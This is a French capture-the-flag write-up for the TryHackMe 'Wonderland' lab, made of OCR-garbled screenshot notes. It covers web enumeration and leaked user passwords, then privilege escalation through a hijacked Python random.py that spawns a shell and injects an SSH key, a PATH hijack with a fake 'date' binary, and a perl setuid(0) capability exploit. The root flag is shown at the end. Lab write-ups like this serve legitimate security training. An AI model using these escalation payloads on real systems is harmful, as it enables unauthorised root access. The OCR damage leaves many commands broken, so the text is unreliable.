Wonderland

lundi 29 septembre 2025 23:06

~/Bureau/THM/CTF/Wonderland
dir http://10.10.162.245/ /usr/share/
wordlists/seclists/Discovery/Web-Content/big.txt
html

10.10.162.245/

re/wordlists/seclis

r in directc enumeratio

Follow the White Rabbit.

'Curiouser and curiouser!” cried Alice (she was so much surprised, that for the moment she quite forgc

~/Bureau/THM/CTF/Wonderland
white_rabbit_1.jpg

Entrez
ecriture des nnee axtralite dans "hint.txt

~/Bureau/THM/CTF/Wonderland

hint.txt
follow th bit

~/Bureau/THM/C
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Open the door and enter wonderland

"Oh, you're sure to do that," said the Cat, "if you only walk long enough."
Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?"

"In that direction," the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving the other paw, "lives a March Hare. Visit either you like: they’re both mad."

>Enter w
rel="

e tried another question. "What sort of peo live about here?”

the other ' Mar either you like: they're both mad.
ice:HowDothTheli dileImproveHisShini
style="heigh

In that c i e ( i waving s rour “lives a Hatter: d that direct * waving

alice:HowDothThelittleCrocodilelmproveHisShiningTail

0x0000000000000000=

0x0000000000000000=

0x000000000000

0x0000003ffff ,cap_dac_o ide,cap_dac_ z

admin,cap_net_raw,cap_ipc_lock,cap_ipd

cap_sys_nice,cap_sys_reso ap_sys_time,cap_sys_tty_config,cap_mk
ke_alarm,cap_bl suspend,cap_audit_read
CapAmb: 0x0000000000000000=

Files with capabilities (limited to 50
/usr/bin/mtr-packet = +ep

] with capabilit

usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Checking 'sudo - / / oers, and /etc/sudoers.d

= (rabbit) /usr/bi / /walrus_and_the_carpente
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Permission denied
$ sudo

try again.
[sudo] password for alice
¢ Defaults entries for alice on wonderland:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin /sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on wond and:
(rabbit) /bin/python3.6 / ce/walrus_and_the_carpenter

erland:

alice alice 4096 29 22:19
drwxr-xr 6 root root 4096 2 2020
Lrwxrwxrwx root root 9 2 2020
alice 220 2020 .bash_logout
alice 3771 2 2020 .bashrc
drwx—— 2 al alice 4096
drwxr- 3 al alice 4096
drwx——— e ce 4096
alice 4096
alice 807 . .profile
root 66 @ root.txt
root 3577 2 2020 walrus_and_the_carpenter.py

am l python Ty Star 12,135

lle read

Shel | Reverse shell | File upload || File download | File write |

|Lb'myloac |SJ:D| Sudc||cabab ties

The payloads are compatible with both Python version 2 and 3.

python3 -c 'import sys; print(sys.path)’

python3 -c 'import sys; print(sys.pat!

wonderland:~$ python3 -c¢ 'import sys; print
: lib/python36.zip"’, sr/1ib/python S ‘/usr/local/lib/python3. ist-packag ! python3/dist-packages']

rland:~$
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> wonderland:~$ python3 -c 'import sys; print(sys.path)’
['',) "/usr/lib/python36.zip', '/usr/lib/python3.6', '/usr/lib/python3.6/1ib-dynl
oad', '/usr/local/lib/python3.6/dist-packages', '/usr/lib/python3/dist-packages’

1d the module it needs to import. The res

at news: **

pportunity to create our own (random.py Sscript hes | I > walrus_and_the_carpenter.py ( /home/alice/ ). Wher
Python will fir 2a for 'random.py in the ent 3( /home/alice ). It will find our own script and will import it right away

random.py instead of the ( ) dule. E t should we

.txt walrus_and_the_carpenter.py
nderland:~$ nano random.py
awonderland:~$ cat random.py
import os
system('/bin/bash’)
nderland:-$ [j

)

[sudo] password
Sorry, try again.
[sudo] password for
Matching Defaults ent r on wonderland:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bi /usr/bin\:/sbin\:/bin\:/snap/bin

User ali following commands on wonderland:
(rabbit) /usr
awonderland: 0 t .6 lrus_and_the_carpenter.py
user alice is not /bin/python /home/alice/walrus_and_th arpenter.py’ as root on wonderland.
$ /usr/
onderland:-$ 1s
random.py root.txt
alicegwonderland:~$ sudo -u root /usr/ .6 /home/al walrus_and_the_carpenter.py
Sorry, user alice is not allowed */usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py’' as root on wonderland.
onderland:~$ sudo -u rabb usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
ywonderland:~$ whoami
rabbi
rabbitgwonderland: i
uid=1002(rabbit) 1002 ) groups=1002(rabbit)
rabbitgwonderland

On doit créer une persistance pour le user rabbit pour ensuite transférer un fichier avec scp :

AttributeEr module "random’® has no attribute 'choice’

al awonderland:~$ cat random.py

import os

os.system( "'mkdir -p /home/rabbit/.ssh & cat /home/alice/id_rsa.pub >> /home/rabbi ssh/authori

os.system( 'chmod 700 /home/rabbit/.ssh & chmod 600 /home/rabbit/.ssh/authorized_keys
print(’'Exploit successful: ssh key injected.’)
alicegwonderland:-$
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Generating public/private rsa

key pair.

Enter file in which to save th
sh/id_rsa

Enter passphrase fo me/alice/.ssh/id_rsa
pty for no passphrase
Enter same passphrase aga
Your identification has be sa\ in /home/alic
.ssh/id_rsa
Your public
/id_rsa.pub
The key fingerprint is:
01bhIlULJhajSAjYhe 1Tx5qXYBdTFRk
alice
‘s randomart image is:

00B o
.Soo

~/Bureau/THM/CTF/Wonderland
/home/alice/.ssh/id_rsa ~/Bureau/THM/CTF/Wonderland

~/Bureau/THM/CTF/Wonderland
/home/alice/.ssh/id_rsa.pub ~/Bureau/THM/CTF/Wonderland

~/Bureau/THM/CTF/Wonderland
id_rsa.pub alice@10.10.11.241:id_rsa.pub

~/Bureau/THM/CTF/Wonderland
id_rsa.pub ali 10.10.10.11.170:id_rsa.pub
Could not resolve hostname 10.10.10.11.170: Name or service not known
tion closed

~/Bureau/THM/CTF/Wonderland
id_rsa.pub alice®10.10.11.170:id_rsa.pub
s password:
100%

~/Bureau/THM/CTF/Wonderland

iV
and: $ sudo it /u python3.6 / /alice/walrus_and_the_carpent

successful: ssh key injec
Traceback (most recent call last
File "/home/alice/walrus_and_t arpenter.
line = random.choice(poem.split(*\n"))
AttributeError: module 'random’ has no attribute 'choice’
Error in sys.excepthook:
Traceback (most recent call last
File "/usr/lib/python
from apport leutils import 1
File "/usr/lib/python3/dist-packages/apport
from apport.report import Report
File "/ /1ib/python ackag 4 - g in <module>
import subprocess, i os.path, e, io
File "/usr/lib/python tempfile.p <
from random import Random as
ImportError: cannot import name

Original exception was:
Traceback (most recent call last):
File "/home/alice/walrus_and_the_carpenter.py”, line
line = random.choice(poem.split( n"))
AttributeError: module ‘random’ has no attribute 'choice’
alicegwonderland $

On a un executable en elf donc on I'ouvre avec ghidra.

On convertie le code en asm en ¢ pour mieux le lire. Et on voit la fonction main :

1
2vold main(void)

he )i
' && date --dates\'next houry' -R");
you some tea while you wait for him");

1

core dumped

Les premiéres lignes donne le droits du programme en 1003 ce qui correspond au user
Hatter. Donc quand le programme est exécuté, il s'exécute en tant que Hatter.

On remarque aussi que pour lancer la commande date, le programme ne prend pas le chemin
absolue cad /bin/date.

Donc ¢a veut dire que le programme va chercher dans le PATH pour savoir dans quel dossier le
programme date pourrait étre.

Donc ce qu'on peut faire c'est créer notre propre programme date et mettre un shell dedans.
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rabbitgwonderland:~-$ 1s
teaParty

bitawonderland: nano date.sh
rabbitawonderland: nano date
rabbitgwonderland:-$ mv dat /tmp/
r cannot move 'dat to ' /tmp/ Not a directory

ybitawonderland:~$ pwd
/home/rabbit
rabbitgwonderland:~$

i onderlan
nderland:

swap.img

cd tmp

$
$

mv /home/rabbit/date /tmp/
1s

wonderland:
rabbitgwonderland:
dat

rabbitgwonderland: chmod +x date
rabbitawonderland 1s

rabbit nderland: export PATH tmp : $PATH
rabbitawonderland: echo $path

rabbitgwonderland: echo $PATH
/tmp:/usr/local/sbin:/usr/local/b 3 2 :/s u ocal/gam

rabbitawonderland: s

wonderland: $ cat date
#/bin/bash

in/bash

rabbitgwonderland:

teaParty
rabbitgwonderland:~$ ./teaP
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hattergwonderland:-$ whoami
hatter
hattergwonderland:~$
hatter) gi ( ) 1002(rabbit)
onderland:~$ [}

Et hop on est le hatter.

Hatter : WhylsARavenLikeAWritingDesk?

On se connecte en ssh :

~/Bureau/THM

( password:
ome to Ubuntu 18.04.4 LTS ( .15.0-101-generic x86_6
* Documentation: tps: //help.ubuntu.com
* Management: ://1andscape.canonical.com
* Suppor ttp ‘ubuntu.

m information as of Tue Sep 30 12

System Proc

Usage of /: 6 of Users logged in:
) IP address for

Swap usage:

can be updatec
updates are security updates.

iled connect to https changelogs.ubuntu.com/meta-release-1ts. Check your
nnection or proxy settings

The programs included with the Ubuntu sys are free software;

the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

awon l /usr/bin/perl 't ) uid); S 1id( "/bin/bash”;"’
wonde ami

Command 'whami’' not found, did you mean:
command ‘whoami’ from deb coreutils
name>
whoami
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Root.txt :

alice
# 1s
root.txt wal
sonderlar # cat root.txt

thm{Twinkle, twinkle, little bat! How I wond
rootagwonderland: £ cd ..

User.txt
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